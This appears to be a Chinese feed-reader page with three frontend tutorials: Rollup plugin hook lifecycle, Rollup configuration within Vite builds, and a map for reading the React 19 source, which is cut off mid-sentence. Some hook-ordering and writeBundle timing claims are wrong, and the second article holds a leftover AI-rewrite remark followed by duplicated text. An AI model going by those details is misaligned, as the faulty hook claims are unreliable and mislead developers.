阅读视图

发现新文章,点击刷新页面。

深度解密 Rollup 插件开发:核心钩子函数全生命周期图鉴

前言

Rollup 的强大在于其精简的插件系统。一个 Rollup 插件本质上就是一个包含各种“钩子函数”的对象。理解这些钩子的执行时序,是编写高性能插件、优化构建流程的关键。本文将带你深度复盘 Rollup 的两大核心阶段:构建 (Build)输出 (Output)


一、构建阶段钩子函数(核心阶段)

构建阶段主要负责模块的解析、加载和转换,最终完成模块依赖图的构建,是Rollup打包的基础。该阶段可细分为5个小阶段,钩子执行顺序固定为:

初始化阶段(options、buildStart)→ 模块加载阶段(resolveId、load)→ 模块转换阶段(transform、moduleParsed)→ 代码生成阶段(augmentChunkHash、resolveDynamicImport)→ 代码构建阶段(buildEnd)

1. 初始化阶段钩子(options、buildStart)

options

  • 执行时机:在读取用户配置之后、构建开始之前执行。

  • 作用:可以添加或修改默认配置项(如调整input、output、plugins等Rollup核心配置)。

  • 注意:仅支持同步执行,无法进行异步操作;此钩子修改的配置会覆盖用户默认配置,需谨慎使用。

buildStart

  • 执行时机:开始解析模块前执行(构建流程启动的第一个核心钩子)。

  • 作用:用于初始化插件状态(如重置计数器、初始化缓存)、读取外部文件(如配置文件、静态资源清单)等。

  • 支持:同步、异步执行(可返回Promise);此钩子可访问传递给rollup.rollup()的最终配置,包含所有options钩子的转换结果和默认值。

2. 模块加载阶段钩子(resolveId、load)

resolveId(source, importer)

  • 执行时机:它是在Rollup遇到一个 import 语句时(如 import foo from './foo.js')执行,是模块解析的核心钩子。

  • 作用:它可以将模块标识符(如 './foo.js''vue')解析为绝对路径或模块 ID,返回一个解析后的路径ID(返回值可以是 null、string 或者一个对象,如果返回false则视为外部模块,不打包)。支持同步、异步执行。

  • 入参说明:

    • source:表示 import 的内容(字符串),即模块标识符;
    • importer:表示导入该模块的文件路径(绝对路径),入口文件的importer为 null。

如果多个插件都定义了resolveId,会按插件配置顺序执行,直到某个插件返回非null/undefined的值(表示解析完成);也可通过配置order: 'pre'调整钩子执行优先级,实现优先解析特定模块。

示例:拦截虚拟模块导入,自定义模块解析逻辑:

resolveId(source) {
  if (source === 'virtual-module') {
    // 表示rollup不应询问其他插件或从文件系统检查此ID
    return source;
  }
  return null; // 其他ID按正常逻辑处理
}

load(id)

  • 执行时机:它在 resolveId 返回一个 ID 后执行,是模块加载的核心钩子。

  • 作用:用于获取对应模块的源码,并返回这个源码给transform钩子进行后续转换。

  • 支持:同步、异步执行;若返回null,Rollup会默认从文件系统读取该ID对应的文件内容,也可通过this.load在其他钩子中触发模块预加载。

示例:自定义虚拟模块的源码加载:

load(id) {
  if (id === 'virtual-module') {
    // 返回虚拟模块的源码
    return 'export default "This is virtual!"';
  }
  return null; // 其他ID按正常逻辑加载
}

3. 模块转换阶段钩子(transform、moduleParsed)

transform(code, id)

  • 执行时机:它在模块源码加载后执行,紧随load钩子之后。

  • 作用:它用于将模块源码中的ts、tsx等非标准JS语法转换为标准的js语法,也可对源码进行压缩、注入代码等自定义处理。支持同步、异步执行

  • 入参说明:

    • code:模块的源码字符串(load钩子返回的内容);
    • id:模块 ID(通常是文件路径,与resolveId返回的ID一致)。
  • 返回值:{ code: '修改后的代码', map: 'sourcemap' },其中sourcemap可选,用于关联转换后的代码与原始源码,方便调试。

moduleParsed

  • 执行时机:在模块被 Rollup 解析为 AST(抽象语法树)后执行。

  • 作用:可以用于分析模块信息(如导入导出关系)、收集元数据(如模块依赖、变量声明),实际开发中较少使用。

  • 支持:同步、异步执行;入参为moduleInfo,包含当前模块的详细信息,执行完成后会并行解析模块中所有静态和动态导入的依赖。

4. 代码生成阶段钩子(augmentChunkHash、resolveDynamicImport)

augmentChunkHash

  • 执行时机:在生成 chunk 哈希前执行(chunk 哈希用于实现静态资源长效缓存)。

  • 作用:可以向 chunk 哈希添加额外信息(如插件版本、配置参数),确保当这些信息变化时,chunk 哈希也会更新,避免缓存失效不及时。

resolveDynamicImport

执行时机:当遇到动态导入语句时(如import('./foo.js'))执行。

作用:处理动态导入的解析,作用和resolveId类似,但专用于动态导入场景,可自定义动态导入的模块解析规则。

5. 代码构建阶段钩子(buildEnd)

  • 执行时机:构建结束(无论成功或失败)执行,是构建阶段的最后一个钩子。

  • 作用:用于清理资源(如关闭文件流、清空缓存)、上报错误(如构建失败日志上报)等。

  • 支持:同步、异步执行。

二、打包阶段钩子函数(产物输出阶段)

打包阶段主要负责将构建阶段处理后的模块,生成最终的可部署产物,并写入磁盘,钩子执行顺序固定为:

输出生成(renderStart→renderChunk→generateBundle)→ 输出写入(writeBundle→closeBundle)

1. 输出生成阶段钩子(renderStart、renderChunk、generateBundle)

renderStart

  • 执行时机:开始生成 chunk 内容前执行,是打包阶段的第一个钩子。

  • 作用:初始化输出相关状态(如初始化产物计数器、设置输出格式相关参数)。

  • 支持:同步、异步执行。

renderChunk(code, chunk, options)

  • 执行时机:它是在每个 chunk 生成后、写入磁盘前执行。

  • 作用:它可以对生成的chunk 中的JS 代码进行最后处理(例如注入版权注释、补充全局变量、代码压缩优化等)。支持同步、异步执行。

  • 入参说明:

    • code:当前chunk生成后的JS代码字符串;
    • chunk:当前chunk的详细信息(如chunk名称、包含的模块、依赖关系等);
    • options:当前的输出配置(与output配置一致)。

generateBundle

  • 执行时机:它是在所有 chunk 和 asset 生成完毕,即将写入磁盘前执行。

  • 作用:这个钩子的入参里面会包含所有的打包产物信息,包括 chunk (打包后的代码)、asset(最终的静态资源文件)。可以在这里检查、修改、添加最终输出文件(例如删除无用 chunk、合并CSS、注入 preload 链接到 HTML)。

  • 支持同步、异步执行;是打包阶段最常用的钩子之一,可用于最终产物的自定义优化。

2. 输出写入阶段钩子(writeBundle、closeBundle)

writeBundle

  • 执行时机:它是在bundle 已写入磁盘后执行,仅在调用bundle.generate()bundle.write() 时触发。

  • 作用:可以在这执行写入后的操作(如将产物上传 CDN、生成产物清单、通知部署服务等)。

  • 支持:同步、异步执行。

closeBundle

  • 执行时机:它是在整个构建完全结束执行,是Rollup打包流程的最后一个钩子。

  • 作用:可以在这做一些全局清理操作(如关闭数据库连接、清空临时文件、终止子进程等)。

  • 支持:同步、异步执行;无论构建成功或失败,都会执行此钩子。

三、钩子执行顺序(核心重点)

// 完整执行顺序
options → buildStart → resolveId → load → transform → moduleParsed → 
augmentChunkHash → resolveDynamicImport → buildEnd → renderStart → 
renderChunk → generateBundle → writeBundle → closeBundle

注意:所有钩子均支持同步执行,标注“支持异步”的钩子可返回Promise,实现异步操作(如读取外部文件、请求接口);多个插件定义同一钩子时,按插件配置顺序执行。

四、补充

  1. 钩子使用场景:开发Rollup插件时,可根据需求选择对应阶段的钩子(如语法转换用transform、产物优化用generateBundle、CDN上传用writeBundle);

  2. 与Vite关联:Vite生产环境基于Rollup打包,Vite插件可直接使用Rollup的所有钩子,同时Vite会自动注入内置插件,无需手动配置基础钩子(如resolveId、load);

  3. 调试技巧:可在钩子中打印日志(如console.log('钩子执行:', id)),查看钩子执行顺序和入参信息,快速排查插件问题。

深度解析 Rollup 配置与 Vite 生产构建流程

前言

为什么 Vite 在生产环境不使用 ESBuild 而是选择 Rollup?为什么 Rollup 打包出来的代码比 Webpack 更纯粹?本文将带你深入 Rollup 的核心配置,并拆解 Vite 是如何驱动 Rollup 完成生产环境构建的。

一、 Rollup 核心配置:构建系统的“方向盘”

1. 核心概念

Rollup 是 Vite 生产环境下的底层打包工具,专注于 ES 模块的打包优化。

注意:在 Vite 项目中,不需要单独编写rollup.config.js文件,所有 Rollup 相关的配置都统一写在vite.config.js/tsbuild.rollupOptions字段中。Vite 会自动将你的配置与内置的 Rollup 配置合并,生成最终的打包配置。

2. 核心特点

  • 具有天然的 Tree Shaking 功能,可以静态分析 ES 模块的导入导出关系,精准移除未使用到的代码
  • 支持Scope Hoisting(作用域提升) ,将多个模块的代码合并到同一个作用域中,减少函数包裹和运行时开销
  • 打包产物体积小、执行效率高,特别适合用于 JavaScript 库和工具的打包
  • 插件系统简洁强大,易于扩展和定制

二、Rollup 核心配置项详解

1. input(打包入口)

用于指定打包的入口文件,支持三种写法:

  • 字符串:单入口,所有代码打包到一个文件中,适合 SPA 单页面应用
  • 数组:多入口,每个入口生成独立的 chunk 文件,公共依赖会自动拆分
  • 对象:多入口,可自定义每个 chunk 的名称,是最灵活的写法
// 单入口
input: 'src/index.js'

// 数组多入口
input: ['src/page1.js', 'src/page2.js']

// 对象多入口(推荐)
input: {
  home: 'src/pages/home.js',
  about: 'src/pages/about.js',
  vendor: 'src/utils/vendor.js'
}

原内容保留:如果是多文件的话,会给每个入口生成独立文件,公共依赖会在打包过程中拆分出来,适用于 MPA(多页应用)、库的多版本。

2. output(打包输出)

该属性为对象或对象数组类型,可以指定打包后的文件输出规则。如果配置为数组,可以将同一份代码打包成多种不同格式的包同时输出。output 核心属性如下:

属性名 类型 说明
dir string 输出目录,当有多个 chunk 时必须使用此属性
file string 单个输出文件的路径,仅适用于单入口单 chunk 的情况
format string 输出格式,支持:- esm:ES Module 格式(Vite 默认)- cjs:CommonJS 格式- umd:通用模块定义- iife:立即执行函数格式
name string 打包为iifeumd格式时必须配置,指定对外暴露的全局变量名
globals object 全局变量声明,用于将外部依赖映射为全局变量示例:{ jquery: '$' }表示项目中可以直接用$代替jquery
sourcemap boolean 是否生成源码映射文件,方便生产环境调试
assetFileNames string 静态资源文件输出文件名模板示例:'assets/[name]-[hash][extname]'

下面的例子代表第一次打包(ESM 格式),将结果输出到dist/es/目录,第二次打包(CJS 格式),将结果输出到dist/cjs/目录

output: [
  {
    dir: "dist/es",    // 输出到 dist/es 目录
    format: "esm",     // ES Module 格式
  },
  {
    dir: "dist/cjs",   // 输出到 dist/cjs 目录
    format: "cjs",     // CommonJS 格式
  },
]

3. external(外部依赖)

用于标记某些模块为外部依赖,告诉 Rollup 这些模块不应该被打包到最终的 bundle 中。对于某些第三方包,有时候我们不想让 Rollup 进行打包,也可以通过 external 进行外部化。external 支持三种写法:

// 字符串写法
external: ['vue', 'react']

// 正则写法
external: [/^lodash/]

// 函数写法(最灵活)
external: (id) => {
  // 所有node_modules中的模块都标记为外部依赖
  return id.includes('node_modules')
}

使用场景

  • 库打包时,将核心依赖(如 Vue、React)外部化,避免重复打包
  • 减少打包体积,提高构建速度
  • 利用 CDN 加载公共依赖

4. plugins(插件系统)

用于扩展和定制 Rollup 的构建流程。该配置项可以与output配置在同一级(全局生效),也可以配置在 output 参数里面(仅对该输出生效)。可使用自定义编写的 Rollup 插件,也可以使用第三方插件。

常用 Rollup 插件整理如下:

插件名称 作用
@rollup/plugin-json 支持.json文件的加载,并配合 Tree Shaking 去掉未使用的部分
@rollup/plugin-babel 使用 Babel 进行 JS 代码的语法转译,兼容低版本浏览器
@rollup/plugin-typescript 支持使用 TypeScript 开发
@rollup/plugin-alias 支持路径别名配置
@rollup/plugin-replace 在打包过程中进行变量字符串的替换
@rollup/plugin-node-resolve 解析 node_modules 中的第三方依赖
@rollup/plugin-commonjs 将 CommonJS 模块转换为 ES 模块,供 Rollup 处理
rollup-plugin-visualizer 对打包产物进行分析,自动生成产物体积可视化分析图

补充说明@rollup/plugin-node-resolve@rollup/plugin-commonjs是 Rollup 处理第三方依赖的必备插件,Vite 已经内置了这两个插件,不需要手动配置。

这篇笔记非常深入地探讨了 Rollup 在 Vite 体系中的地位。作为现代前端打包工具的“幕后英雄”,Rollup 的配置和流程是进阶高级前端的必修课。

为了适配掘金的风格,我为你优化了标题,并引入了“声明式配置图解”和“双阶段构建流”的概念,同时修正了部分关于 input 拼写的小细节。


进阶必备:深度解析 Rollup 配置与 Vite 生产构建流程

前言

为什么 Vite 在生产环境不使用 ESBuild 而是选择 Rollup?为什么 Rollup 打包出来的代码比 Webpack 更纯粹?本文将带你深入 Rollup 的核心配置,并拆解 Vite 是如何驱动 Rollup 完成生产环境构建的。


一、 Rollup 核心配置:构建系统的“方向盘”

Rollup 的配置以简洁著称,其设计的核心目标是打包出最干净的代码库

1. 入口与出口 (Input & Output)

  • input (注意是单数):支持字符串或数组/对象。

    • 单入口:适合单页面应用 (SPA),生成一个主 bundle。
    • 多入口:适合多页面应用 (MPA) 或组件库,Rollup 会自动提取公共依赖。
  • output:支持数组形式,实现一份源码,多种格式输出

    • format:

      • esm: 现代浏览器首选。
      • cjs: Node.js 环境使用。
      • umd: 兼容 AMD/CommonJS/全局变量。
    • globals: 映射外部依赖,如 { jquery: '$' }

2. 外部依赖 (External)

核心作用:标记某些模块不被打包。

  • 场景:在开发组件库时,通常会将 vuereact 设为 external,让宿主环境提供这些依赖,减小打包体积。

3. 常用插件全家桶

插件名称 核心作用
@rollup/plugin-json 让 JS 能直接 import json,并支持 Tree Shaking。
@rollup/plugin-babel 配合 Babel 进行语法降级,解决兼容性问题。
@rollup/plugin-typescript 让 Rollup 具备处理 TS 的能力。
@rollup/plugin-alias 配置路径别名(如 @ 指向 src)。
rollup-plugin-visualizer 神器:生成体积分析图,优化首屏加载必看。

三、 Vite 视角下的 Rollup 构建流程

执行vite build命令后,Vite 会先完成自身的预处理工作,然后将所有打包任务委托给 Rollup 执行。整个流程可以分为以下三个核心阶段:

阶段 1:Vite 配置预处理与 Rollup 配置生成

Vite 读取vite.config.js,先分离 Vite 非 Rollup 相关的配置和 Rollup 相关配置;将 Vite 内置的处理 Vue/TS/CSS/ 静态资源插件注入,再合并用户配置的插件,最终生成标准的包含inputoutputplugins等核心字段的Rollup 配置对象

接着 Vite 调用 Rollup 的rollup.rollup()方法,传入上述配置,启动 Rollup 构建流程。

阶段 2:Rollup 构建阶段(建立模块依赖图)

Rollup 从input指定的入口文件开始,依次执行所有插件的resolveId(解析模块路径)→load(加载文件内容)→transform(转换文件为标准 ES 模块)钩子来处理各类资源。在处理的过程中会递归解析所有导入的模块,直到所有依赖解析完成,建立完整的模块依赖图。

补充:这个阶段只进行模块的解析和转换,不会生成任何输出文件。所有的文件内容都会被加载到内存中,形成一个完整的模块树。

阶段 3:Rollup 生成阶段(产物生成与输出)

在构建打包的过程中,Vite 会基于模块依赖图执行 Tree-shaking 移除未使用代码、Scope Hoisting 作用域提升,并根据output配置进行代码分割将代码拆分成多个独立的 chunks 文件,实现按需加载。Vite 插件在此阶段补充处理(将.vue、.ts 等文件编译为标准的 js 文件、并处理 css 将其压缩成单独的 css 文件等)。

最后调用bundle.generate()在内存中生成编译后的 JS/CSS/HTML 等产物,和bundle.write()将内存中的产物写入磁盘(默认dist目录),最终生成可部署的静态资源文件。

补充bundle.generate()只在内存中生成产物,不写入磁盘;bundle.write()会先调用bundle.generate(),然后将产物写入到指定的输出目录。

总结

Rollup 作为 Vite 生产环境的底层打包工具,是理解 Vite 打包原理的关键。掌握 Rollup 的核心配置和构建流程,不仅能帮助你解决生产环境中的各种打包问题,还能让你更灵活地定制 Vite 的构建流程,实现更高效的打包优化和插件开发。

React 19 源码怎么读:目录结构、包关系、调试方式与主线问题

这是我持续更新的一组 React 源码解读文章,也会尽量控制单篇篇幅,按主线一点点往里拆。
这一篇先不急着扎进某个细节,而是从整体地图开始,先把 React 运行时主线和后面阅读源码时最重要的入口理顺。

前言

第一次看 React 源码时,我们最容易卡住的地方,往往不是某个函数太难,而是看着看着就失去了方向。

一开始,我们心里通常都有几个很具体的问题:想搞懂 Fiber,想知道 setState 之后到底发生了什么,也想弄明白 useEffect 为什么总像是“晚一步”执行。可真翻进仓库之后,这些问题又很快会被新的困惑打断:

  • 这个目录到底是做什么的?
  • 这段代码在整条链路里负责哪一段?
  • 我们现在看到的,是 React 的核心逻辑,还是某个边缘实现?
  • 为什么每个点都好像懂了一点,但就是连不成一条完整主线?

所以这篇文章不急着深挖某个具体实现,而是先做一件更基础、也更重要的事:

先把 React 源码的阅读地图搭起来。

这篇文章主要想回答四个问题:

  • React 仓库里哪些地方值得先看
  • reactreact-domreact-reconcilerscheduler 大概是怎么分工的
  • 一次 React 更新的大主线到底是怎么流动的
  • 刚开始读源码时,应该按什么方式推进,才不容易迷路

这里也先说明一下版本口径:这篇文章标题写的是 React 19,因为整体讨论的是 React 19 的主线机制;但在具体源码观察上,我会先以 React 19.1.1 作为基线来展开。


一、为什么很多人看 React 源码会越看越乱

React 源码难,不只是因为代码量大。

更准确地说,它难在:层次很多,入口很多,主线很长,而且每一层都不是孤立存在的。

我们表面上想搞懂的是一个问题,比如“setState 之后发生了什么”,但它背后往往会牵出一整串东西:

  • 组件更新是怎么产生的
  • update 是怎么入队的
  • Fiber 节点怎么记录这次更新
  • React 怎么决定这次更新什么时候执行
  • render 阶段到底在算什么
  • commit 阶段又是什么时候真正改 DOM 的

也就是说,React 源码不是那种“看一个函数就能闭环”的代码。它更像一套分层协作的更新系统

如果一开始没有地图感,很容易进入一种状态:每看一段代码,都能理解一点;但每理解一点,又像是零散碎片。最后脑子里只剩下一堆词:

  • Fiber
  • Scheduler
  • render
  • commit
  • lanes
  • hooks

这些词我们都见过,但它们之间到底是什么关系,反而不清楚。

所以我更倾向于把 React 源码学习的第一步放在一个更基础的问题上:

React 到底是一套什么系统?

把这个问题先看清楚,后面再去拆 Fiber、调度、Hooks、render、commit,才不容易一路走一路散。


二、先建立一张总图:React 到底是一套什么系统

如果先把 React 粗略抽象一下,我更愿意把它理解成这样一条主线:

flowchart LR
    A[JSX] --> B[ReactElement]
    B --> C[Root / Fiber]
    C --> D[调度]
    D --> E[render]
    E --> F[commit]
    F --> G[DOM / effects]

React 运行时总主线

这张图不细,但非常重要。因为它至少先帮我们看清了三件事。

1. JSX 不是 React 运行时真正处理的最终形态

我们平时写的是 JSX,但 React 运行时真正接收到的,并不是 <App /> 这段看起来像模板的代码本身,而是编译之后的一种对象描述。

所以读源码时,第一层问题不应该是“React 怎么处理 <App />”,而应该是:

<App /> 编译之后到底是什么对象?

只要这一步没有先想清楚,后面再看 Root、Fiber、更新流程,就会总觉得前面少了一层。

2. root.render(...) 不是“立刻渲染 DOM”

很多人第一次接触 React 时,会下意识把 root.render(<App />) 理解成“把组件直接渲染到页面上”。

但从源码视角看,更准确的理解应该是:

它把一份描述 UI 的对象,送进 React 自己的更新系统。

也就是说,这一步更像“发起一次更新”,而不是“立即完成渲染”。

3. React 的更新过程,本质上分成“计算”和“提交”两段

后面我们会经常看到两个词:rendercommit

可以先记住一句很关键的话:

  • render 阶段:主要是在算,算这次更新之后“应该变成什么样”
  • commit 阶段:主要是在交,真正把结果提交到宿主环境,比如浏览器 DOM

所以 React 不是“收到更新,立刻改 DOM”的直线模型。它更像这样:

描述 UI → 进入更新系统 → 被调度 → 计算结果 → 提交结果

一旦先把这张总图建立起来,后面再去看 Fiber、Hooks、调度,就不会觉得这些东西是互相割裂的黑话。


三、先别急着翻细节:React 仓库里哪些地方值得先看

第一次打开 React 仓库时,很容易被目录吓到。但从“运行时源码阅读”的角度看,我们不需要一开始就把所有目录都研究一遍。

对这条“React 运行时主线”来说,真正值得优先关注的,主要有这几个方向。

1. packages:核心代码主战场

如果我们的目标是理解这些问题:

  • JSX 产物是什么
  • createRoot 做了什么
  • Fiber 是什么
  • 更新是怎么调度的
  • render / commit 分别在做什么
  • Hooks 为什么能工作

那么后面大部分时间,基本都会待在 packages 里。

因为真正和 React 运行时主线相关的核心逻辑,主要都在这里。

所以第一次看仓库时,不要想着“从根目录往下把所有东西都扫一遍”。更有效的做法,是先建立一个习惯:

以后提到 React 源码主线,默认先去 packages 里找。

2. fixtures:最适合做最小实验场

学习源码很怕一上来就拿业务项目调试。业务代码一复杂,React 本身的调用链很容易被应用层噪音淹没。

这时候 fixtures 的价值就出来了。它更像一个实验场:当我们只想验证某一条很小的更新链路时,最小场景会比业务项目更适合观察。

3. scripts:工程支撑层

scripts 当然重要,但不是我们建立 React 主线认知的第一入口。

对第一阶段来说,知道它主要服务于构建、测试、打包、发布等工程流程,就够了。因为现在我们的目标不是“参与 React 仓库开发”,而是“先把 React 是怎么运行起来的搞清楚”。

4. 其他方向:先知道存在,不急着深挖

比如编译器、测试、工具链等方向,当然都重要。但如果我们的目标是先建立 React 运行时的整体认识,那么优先把这条主线打通,收益会更直接。

现阶段更好的策略是:

先把运行时主线搞清楚,再考虑编译器、RSC、性能优化等专题。


四、核心包关系:reactreact-domreact-reconcilerscheduler 各自负责什么

看 React 源码时,如果只记目录,不记职责,很快还是会乱。真正有用的是把几个核心包的分工先记住。

我目前更倾向于用下面这种方式去理解它们:

flowchart TB
    A[react<br/>定义 UI 描述和上层 API]
    B[react-dom<br/>浏览器宿主环境接入]
    C[react-reconciler<br/>协调与更新主链核心]
    D[scheduler<br/>调度能力支撑层]

核心包职责

下面逐个说。

1. react:定义“怎么描述 UI”

react 这一层,更像是 React 暴露给开发者的“上层接口”和“描述模型”。

我们平时写的这些东西:

  • JSX
  • 函数组件
  • Hook
  • createContext
  • memo

最后都会落到 React 定义的一套模型里。

所以从源码学习角度看,react 回答的问题更像是:

开发者是如何把 UI 和状态意图,交给 React 的?

如果继续顺着这条线往里看,很自然就会进入 JSX 编译产物和 ReactElement 这一层。

2. react-dom:浏览器环境的接入层

对前端开发者来说,最熟悉的入口通常是:

import { createRoot } from 'react-dom/client'

const root = createRoot(container)
root.render(<App />)

这说明 react-dom 这一层解决的核心问题是:

React 怎么接到浏览器这个宿主环境上?

也就是说,它更关心“把 React 应用挂到哪、怎么挂、最终怎么和 DOM 环境打交道”。

所以我们可以先把它理解成:

浏览器场景下的宿主接入层。

3. react-reconciler:真正的源码腹地

如果说:

  • react 更偏“描述层”
  • react-dom 更偏“宿主接入层”

那么 react-reconciler 才是后面真正要深挖的核心腹地。

因为我们最关心的这些东西,几乎都和它强相关:

  • Fiber
  • work loop
  • beginWork
  • completeWork
  • render 阶段
  • commit 阶段
  • 更新如何传播
  • 副作用如何收集和提交

可以先记一句非常实用的话:

React 真正“怎么处理一次更新”,大头都在 react-reconciler 这层。

如果继续往更新主链内部走,很多关键问题最终都会落到这一层。

4. scheduler:不是主角,但非常关键

这里不必一开始就把 scheduler 的细节掰得很深,但它在整套系统里的位置,我们最好先有一个整体认识。

React 之所以不再只是“同步调用 → 直接算完 → 直接提交”,背后离不开调度能力。这部分我们可以暂时理解成:

  • 什么时候做
  • 哪个先做
  • 哪个可以稍后做
  • 当前要不要让出执行机会

这些能力,不是随便塞在某个业务函数里就能完成的,所以 React 需要一层相对独立的调度支撑。

现阶段先记住一句就够了:

scheduler 提供的是调度能力支撑,不等于 React 全部逻辑本身,但它对 React 的更新模型非常关键。


五、一次 React 更新的大主线:从 JSX 到 DOM 提交

前面把目录和核心包大致摆清楚之后,接下来最重要的一步,就是把 React 的“主线流程”先跑通。

因为无论是看 createRoot、看 Fiber、看 Hooks,还是看 beginWorkcommit,本质上都还是在拆这一条主线。

我先把它再压缩成一张图:

JSX
  ↓ 编译
ReactElement
  ↓ root.render / 触发更新
Root / Fiber Root / HostRoot Fiber
  ↓ 调度
render 阶段
  ↓ 生成本次提交所需的信息
commit 阶段
  ↓
DOM 更新 / layout effect / passive effect

这一条线里,最容易搞混的是两件事:

第一,React 运行时真正处理的不是 JSX 本身,而是 JSX 编译后的 ReactElement

第二,React 并不是一收到更新就直接改 DOM,而是先经过调度、render 计算,再进入 commit 提交

所以从源码阅读角度看,后面我们遇到的大部分概念,都能挂到这条链上。

1. JSX 先变成 ReactElement

我们平时写的是:

<App count={1} />

但 React 真正接收到的,不是这段“长得像 HTML 的语法”,而是编译产物。

所以阅读源码的第一层问题,不应该是“React 怎么处理 <App />”,而应该是:

<App /> 编译之后到底是什么对象?

2. root.render(element) 把更新送进系统

对很多开发者来说,root.render(<App />) 最容易产生一个错觉:好像这行代码一执行,页面就立刻被渲染出来了。

但源码视角下,更准确的理解应该是:

root.render 负责把一份 element 更新送进 React 的根节点更新体系。

也就是说,这一步更像“发起一次更新”,而不是“直接完成渲染”。

3. Root / Fiber 系统接管这次更新

一旦更新进入系统,它就不再只是一个普通对象了。React 会把它放进 Root/Fiber 这套结构里,让后续调度、计算、提交都有地方可挂。

所以后面当我们看到这些词时,不要把它们看成独立概念:

  • Root
  • FiberRoot
  • HostRoot Fiber
  • update queue

它们其实都属于 React 这套更新系统的基础设施。

4. 调度决定“现在做不做、先做哪部分”

React 不是简单地“收到更新 → 马上全做完”。它还要决定:

  • 这次更新优先级高不高
  • 要不要马上做
  • 能不能让一部分工作稍后做
  • 当前阶段能不能让出执行机会

这时候调度层就进来了。

所以后面我们看到 lanes、调度入口、任务安排的时候,本质上是在看 React 如何安排“这次更新该怎么被执行”。

5. render 阶段负责计算结果,不直接提交

render 阶段是很多人第一次读源码时最容易误解的部分。因为“render”这个词太像“渲染到页面”。

但从源码视角看,render 阶段更准确的理解应该是:

它在算下一次要提交什么,而不是立即把结果改到页面上。

这一阶段里,React 会基于当前树和本次更新,逐步构造工作中的新树,并收集这次提交所需的信息。

所以后面我们看到:

  • beginWork
  • completeWork
  • work loop
  • flags / subtreeFlags

本质上都是 render 阶段里的核心组成。

6. commit 阶段才真正提交结果

当 render 阶段把“这次更新要做什么”算得差不多了,React 才会进入 commit 阶段。

到了这一阶段,才会真正发生这些事:

  • 插入、更新、删除 DOM
  • 执行 layout 相关副作用
  • 在后续时机执行 passive effect

所以 React 整体并不是一段线性同步逻辑,而更像一条清晰的更新流水线:

描述 UI → 发起更新 → 调度 → render 计算 → commit 提交


六、React 源码应该怎么读:按问题读,不按文件读

知道主线之后,接下来的问题就变成:

那源码到底该怎么读?

我自己的建议是:按问题读,不要按文件读。

也就是说,不要一上来就给自己定任务:“今天我要看完某个文件。”更好的方式,是先定一个问题,再去找这个问题对应的入口和调用链。

1. 先问问题,再找入口

比如我们可以先问自己这些问题:

  • JSX 编译后到底是什么
  • createRoot(container) 到底创建了什么
  • root.render(<App />) 做了什么
  • setState 之后发生了什么
  • DOM 是在 render 阶段更新,还是在 commit 阶段更新
  • Hooks 为什么必须按顺序调用

这样做的好处是,源码不再是一整片森林,而是变成了几条有明确方向的小路。

2. 每次只追一条最小闭环

很多人读源码会越看越累,还有一个原因:一开始就拿复杂场景下手。

更好的方法,是先拿一个最小例子:

const root = createRoot(container)
root.render(<App />)

或者:

function App() {
  const [count, setCount] = useState(0)
  return <button onClick={() => setCount(c => c + 1)}>{count}</button>
}

我们只追一条最短链路:

  • 这个 element 怎么进入系统
  • 这次更新怎么入队
  • 什么时候开始 render
  • 什么时候 commit
  • effect 什么时候执行

只要最小闭环走通一次,后面再看复杂场景,心里就会稳很多。

3. 先看入口函数,再看核心数据结构

源码阅读里有一个很实用的原则:

入口函数负责告诉我们“从哪里开始追”,数据结构负责告诉我们“数据是怎么流动的”。

比如:

  • 当问题落在 JSX 编译产物时,重点通常是 ReactElement 这个对象本身
  • 当问题落在应用启动时,重点通常是 Root / HostRoot Fiber 这层结构
  • 当问题落在更新如何进入系统时,重点通常是 Update、UpdateQueue、Lane
  • 当问题落在 render 过程时,重点通常是 Fiber、flags、workInProgress
  • 当问题落在 Hooks 内部机制时,重点通常是 Hook 链表以及它和 Fiber 的关系

4. 阅读源码时,最好始终问一句:它在主线里负责什么

无论我们现在看到的是:

  • 一个目录
  • 一个包
  • 一个函数
  • 一个字段
  • 一个变量名

都先问一句:

它在整条更新主线里,负责哪一段?

只要这个问题一直留在脑子里,源码阅读就不容易发散。


七、调试方式怎么选:从只读到可断点

这部分我不打算写成环境搭建教程,因为对刚开始阅读源码的人来说,更重要的还是先建立地图,再逐步进入调试。我更倾向于把调试方式分成三个层次。

1. 第一层:先只读,不着急跑全链路

刚开始时,不一定要马上把 React 仓库完整跑起来,也不一定要急着深挖每个入口。

这个阶段更重要的是:

  • 建立总图
  • 记住核心包职责
  • 知道接下来继续往里看时,核心问题会落在哪些位置
  • 对“从 JSX 到 commit”的主线有整体印象

2. 第二层:用最小 demo 打断点追入口

当我们开始进入具体主题,比如:

  • JSX 到 ReactElement
  • createRoot
  • root.render
  • setState
  • useEffect

这时候最好的方式,就是准备一个最小 demo,然后围绕一个非常具体的问题去断点。

不要想着“今天调试 React”,而要想着:

  • 今天只看 createRoot 做了什么
  • 今天只看一次 setState 怎么入队
  • 今天只看 useEffect 在什么时候被记录、什么时候被执行

问题越单一,断点越清晰,收获越大。

3. 第三层:围绕一条具体链路深挖到底

真正进入深入阶段时,我们的目标也不该是“把 React 全部调完”。更现实也更有效的目标是:

  • 把一次更新从触发到提交完整走通
  • 把一个 Hook 从调用到记录到执行完整走通
  • 把 Root、HostRoot Fiber、update queue 的关系彻底理顺

换句话说,调试不是为了证明“我能跑源码”,而是为了回答一个具体问题。


八、顺着这张地图继续往里看,我们会遇到哪些核心问题

到这里,这篇“阅读地图”其实就差不多搭完了。

如果继续顺着同一条主线往里看,接下来最核心的问题,大致会落在这些位置:

1. JSX 到 ReactElement

JSX 编译后到底是什么?React 运行时最先拿到的对象长什么样?

2. createRootroot.render

React 应用启动时,到底创建了什么?Root 和 HostRoot Fiber 是什么关系?

3. Fiber 到底是什么

Fiber 为什么不是 ReactElement,也不是 DOM?React 为什么需要 Fiber?

4. 从 setState 到调度

一次更新是怎么进入系统的?Update、UpdateQueue、Lane 分别扮演什么角色?

5. render 阶段

beginWorkcompleteWork 在做什么?render 阶段为什么不直接改 DOM?

6. commit 阶段

DOM 到底什么时候更新?layout effect 和 passive effect 分别在什么时机执行?

7. Hooks 内部原理

Hooks 为什么必须按顺序调用?useStateuseEffect 是如何挂到 Fiber 上的?

把这些问题串起来之后,React 源码在我们脑子里就不再是一堆零散名词,而会慢慢变成一条完整的更新链路。


结语

React 源码最难的地方,从来都不是某一个函数本身。

真正难的是:如果没有地图,很多细节都会看起来彼此割裂。今天看到 Fiber,明天看到 Hook,后天又看到 commit,名词越来越多,但主线反而越来越模糊。

所以在真正扎进细节之前,先把 React 当成一套系统看清楚,会让后面的阅读顺很多。

当我们先知道:

